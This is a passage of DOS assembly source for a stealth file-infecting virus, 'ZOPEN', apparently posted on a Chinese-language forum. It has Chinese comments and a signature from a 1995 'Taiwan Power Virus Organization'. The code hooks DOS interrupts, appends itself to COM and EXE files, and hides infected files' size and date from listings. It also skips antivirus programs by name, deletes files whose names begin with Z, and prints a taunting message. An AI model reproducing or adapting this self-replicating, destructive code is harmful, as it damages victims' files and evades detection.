        shr ah,01h
        cmp ah,64h
        jb fs_not
        sub word ptr es:[bx+1ah],vir_size
        sbb word ptr es:[bx+1ch],0000h
fs_not:
        pop es
        pop bx
        pop ax
        clc
fs_ext:
        retf 0002h

vint21h:
        pushf
        cmp ax,4bach            ; 病毒自我判段的 vsign ...
        jz vir_sign             ;
        cmp ax,4b00h          ; 是在執行檔案嗎?
        jz vint21_jmp         ; 是就轉囉...
;       cmp ah,3dh            ; 這裡你可以將之 dismark ...
;       jz vint21_jmp         ; 而後凡開檔都會感染...
;       cmp ax,6c00h          ;
;       jz vint21_jmp         ;
        cmp ah,11h
        jz dir_stealth
        cmp ah,12h
        jz dir_stealth
        cmp ah,4eh
        jz find_stealth
        cmp ah,4fh
        jz find_stealth
dos_int21h:
        popf                           ; 跳回 DOS int21h 去...
        jmp dword ptr cs:int21_o       ;

vir_sign:
        xchg ah,al                     ; 設置 老豬 vsign ...    ︿  ︿
        popf                           ;                        ((
        iret                           ;                      ( (oo) )

vint21_jmp:
        jmp vint21

vint21:
        mov cs:reg_ax,ax
        push bx
        push cx
        push dx
        push di
        push si
        push ds
        push es

        push cs
        pop es

        cmp ah,6ch
        jnz not_ah_6ch
        mov dx,si
not_ah_6ch:
        mov si,dx
        mov ah,60h
        mov di,OFFSET buffer
        call oint21h

        push cs
        pop ds
        mov si,di
        cld
find_00h:
        lodsb
        cmp al,00h
        jnz find_00h
        sub si,0004h
        lodsw
        cmp ax,'OC'
        jnz chk_exe_file
        lodsb
        cmp al,'M'
        jnz jmp_ext
        jmp infect_file
chk_exe_file:
        cmp ax,'XE'
        jnz jmp_ext
        lodsb
        cmp al,'E'
        jnz jmp_ext
        jmp infect_file
jmp_ext:
        jmp vint21_ext

infect_file:

;       push es                    ; 哦! 沒事... 無聊寫來的...
;       mov ax,0b000h              ;
;       mov es,ax                  ;
;       mov ax,0701h               ;                            ︿  ︿
;       mov es:[0000h],ax          ;                            (@)(@)
;       pop es                     ;                          ( (oo) )

        call chk_not_file          ; 呼叫 不屑感染名單 ...
        jc vint21_ext              ; CF=1 嗎? 是則轉!!!

        mov ax,3d00h            ; 開檔
        mov dx,di               ;
        call oint21h            ;
        jc jmp_ext
        mov bx,ax
        mov cs:handle,bx

        xor ax,ax                                 ; 攔 int 24h ...
        mov es,ax                                 ;
        push word ptr es:[0090h]                  ;
        push word ptr es:[0092h]                  ;
        mov word ptr es:[0090h],OFFSET vint24h    ;
        mov word ptr es:[0092h],cs                ;

        call get_sft                    ; 取 SFT 的位址 ...
        mov word ptr es:[di+02h],0002h  ; 這個我們的酷哥已講過了... R/W mode !
        mov ax,es:[di+0fh]              ; 取 date ...
        shr ah,01h                      ;
        cmp ah,64h                      ; 比 100 小嗎?
        jb not_infect                   ; 是則... 尚未感染... ;_)
        jmp close_file                  ;

not_infect:
        push cs
        pop es
        mov ah,3fh                     ; 讀檔案前 1ch bytes
        mov cx,001ch                   ;
        mov dx,OFFSET exe_head         ;
        call oint21h                   ;
        jc close_file

;       mov si,dx                       ; 哦! 方便我解毒用... :_)
;       mov di,OFFSET buffer            ;
;       cld                             ;
;       repz movsb

        mov si,dx
        mov ax,ds:[si]
        cmp ax,'ZM'              ; 是 exe 檔嗎????
        jnz infect_com           ; 不是就係 com 檔囉... :_)
        jmp infect_exe

close_file:
        mov ah,3eh                ; 關檔...
        mov bx,cs:handle          ;
        call oint21h              ;

        xor ax,ax                     ; 恢復 int 24h ...
        mov ds,ax                     ;
        pop word ptr ds:[0092h]       ;
        pop word ptr ds:[0090h]       ;

vint21_ext:
        pop es
        pop ds
        pop si
        pop di
        pop dx
        pop cx
        pop bx
        mov ax,cs:reg_ax
        popf
        jmp dword ptr cs int21_o

infect_com:
        mov ax,ds:[si]          ; 保存 com 檔前 3 bytes ...
        mov ds:com_f1,ax        ;
        mov al,ds:[si+02h]      ;
        mov ds:com_f2,al        ;

        call get_sft

        mov ax,es:[di+11h]      ; 取該 com 檔的 size ...
        cmp ax,63000
        ja close_file           ; 哇! 太大了... 不能用喔...
        cmp ax,1000
        jb close_file           ; 哇! 太小了... 有詐哦...

        push ax
        mov ds:jmp_f2,ax
        sub word ptr ds:jmp_f2,0003h
        mov word ptr es:[di+15h],0000h
        mov ah,40h                         ; 寫個 jmp xxxx 至 com 檔
        mov cx,0003h                       ; 的前 3 bytes ...
        mov dx,OFFSET jmp_f1               ;
        call int21h                        ;
        pop ax
        jc close_file

        mov es:[di+15h],ax              ; 將病毒主体加在檔尾...
        mov ah,40h                      ;
        mov cx,vir_size                 ;
        xor dx,dx                       ;
        call int21h                     ;
        call set_date                    ;把檔案日期加 100 年...
        jmp close_file

infect_exe:
        cmp word ptr ds:[si+1ah],0000h
        jnz close_file

        mov ax,ds:[si+0eh]
        mov ds org_ss,ax
        mov ax,ds:[si+10h]
        mov ds org_sp,ax
        mov ax,ds:[si+14h]
        mov ds:exe_jmp_ip,ax
        mov ax,ds:[si+16h]
        mov ds:exe_jmp_cs,ax

        call get_sft

        mov ax,es:[di+11h]
        mov dx,es:[di+13h]
        mov cx,0010h
        div cx
        sub ax,ds:[si+08h]

        mov ds:[si+14h],dx
        mov ds:[si+16h],ax
        add dx,vir_size
        mov ds:[si+0eh],ax
        mov ds:[si+10h],dx

        mov ax,es:[di+11h]
        mov dx,es:[di+13h]
        add ax,vir_size
        adc dx,0000h

        mov cx,0200h
        div cx
        and dx,dx
        jz no_cf
        inc ax
no_cf:
        mov ds:[si+04h],ax
        mov ds:[si+02h],dx

        mov word ptr es:[di+15h],0000h

        mov ah,40h         ; 寫 exe 的檔頭...
        mov cx,001ch       ;
        mov dx,si          ;
        call int21h        ;
        jc inf_exe_err

        mov ax,4202h       ; 移動檔案指標至檔尾...
        xor cx,cx          ;
        xor dx,dx          ;
        call oint21h       ;

        mov ah,40h           ; 將病毒主体加在檔尾...
        mov cx,vir_size      ;
        xor dx,dx            ;
        call int21h          ;

        call set_date               ;把檔案日期加 100 年...

inf_exe_err:
        jmp close_file

int21h:
        pushf
        call dword ptr cs:int21_o
        ret

oint21h:
        pushf
        call dword ptr cs:oint21_o
        ret

vint24h:
        xor al,al
        iret

vint2fh:
        pushf
        cmp ax,1216h
        jnz dos_int2fh
        popf

        call int2fh
        jb v2f_err

        push ax
        mov ax,es:[di+0fh]
        shr ah,01h
        cmp ah,64h          ; 該檔已中毒嗎?
        jb v2f_sten         ; 沒就跳開...

        sub byte ptr es:[di+10h],11001000b   ; 將年數減回來...
        sub word ptr es:[di+11h],vir_size    ; 檔案大小減掉...
        sbb word ptr es:[di+13h],0000h       ; 此舉可讓一些爛 AV ...@#$%
v2f_sten:
        pop ax
        clc
v2f_err:
        retf 0002h
dos_int2fh:
        popf
        jmp dword ptr cs:int2f_o

int2fh:
        pushf
        call dword ptr cs int2f_o
        ret

get_sft:
        push bx

        mov ax,1220h
        call int2fh
        mov ax,1216h
        xor bx,bx
        mov bl,es:[di]
        call int2fh

        mov ax,es:[di+0dh]
        mov cs org_time,ax
        mov ax,es:[di+0fh]
        mov cs org_date,ax

        pop bx
        ret

set_date:
        mov ax,5701h
        mov bx,cs:handle
        mov cx,ds org_time
        mov es:[di+0dh],ax
        mov dx,ds org_date
        add dh,11001000b       ; 加 100 年...
        call int21h
        ret

chk_not_file:
        std
        lodsb
        cmp al,'\'
        jnz chk_not_file

        cld
        lodsw

        mov ax,ds:[si]
        cmp al,'Z'              ; 是 Z 開頭的檔案嗎???
        jz del_file             ; 是... 就去將 牠 正法吧... 哈! 哈!

        push di
        mov di,si
        push di
        mov si,OFFSET not_file
        xor cx,cx
chk_again:
        pop di
        push di
        inc si
        add si,cx
        cmp word ptr ds:[si-01h],0ffffh
        jz chk_fa
        xor cx,cx
        mov cl,ds:[si-01h]
        repz cmpsb
        jnz chk_again
        pop di
        pop di
        stc
        ret
chk_fa:
        pop di
        pop di
        clc
        ret

del_file:
        cmp word ptr cs:reg_ax,4b00h
        jnz not_4bh
        mov ah,41h             ; 殺檔... ;_>
        mov dx,di              ;
        call oint21h           ;
        jc no_msg
        mov ah,09h               ; 秀我的大名囉... :_)
        mov dx,OFFSET msg        ;
        call int21h              ;
no_msg:
        mov word ptr cs:reg_ax,4c00h
not_4bh:
        ret

not_file db 7,'COMMAND'         ; 這裡係 不屑感染名單 ... ;_)
         db 3,'IBM'             ;
         db 2,'PC'              ;
         db 2,'TB'
         db 4,'CKVI'
         db 4,'KLVI'
         db 4,'DEVI'
         db 5,'BTOOL'
         db 5,'RTOOL'
         db 5,'TDISK'
         db 4,'SCAN'
         db 5,'CLEAN'
         db 2,'F-'
         db 0ffh,0ffh

int21_o dw ?
int21_s dw ?
int24_o dw ?
int24_s dw ?
int2f_o dw ?
int2f_s dw ?
oint21_o dw ?
oint21_s dw ?

handle dw ?
reg_ax dw ?

org_sp dw ?
org_ss dw ?

org_time dw ?
org_date dw ?

com_f1 dw 20cdh
com_f2 db 90h

jmp_f1 db 0e9h
jmp_f2 dw ?

exe_head dw ?
exe_l02h dw ?
exe_l04h dw ?
         dw ?
exe_l08h dw ?
         db 4 dup (?)
exe_ss   dw ?       ;exe_l0eh
exe_sp   dw ?       ;exe_l10h
exe_sum  dw ?
exe_ip   dw ?       ;exe_l14h
exe_cs   dw ?       ;exe_l16h
         db 4 dup (?)

msg db 0dh,0ah,'Your PC was now OPEN! Whao! Ha! Ha! Ha! Ha!',0dh,0ah
    db 0dh,0ah,'==  Written by Zhuge Jin at TPVO , 1995  ==',0dh,0ah
    db 0dh,0ah,'===   Taiwan Power Virus Organization.  ===',0dh,0ah
    db 07h,'$'

buffer db 0100h dup(?)

vir_size equ $-OFFSET vir_start             ; 病毒的 size ...
para_size equ ($-OFFSET vir_start)/10h+02h

ZOPEN   ends
        end start
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|海浩社区

GMT+8, 2025-9-21 02:00 , Processed in 0.088714 second(s), 20 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表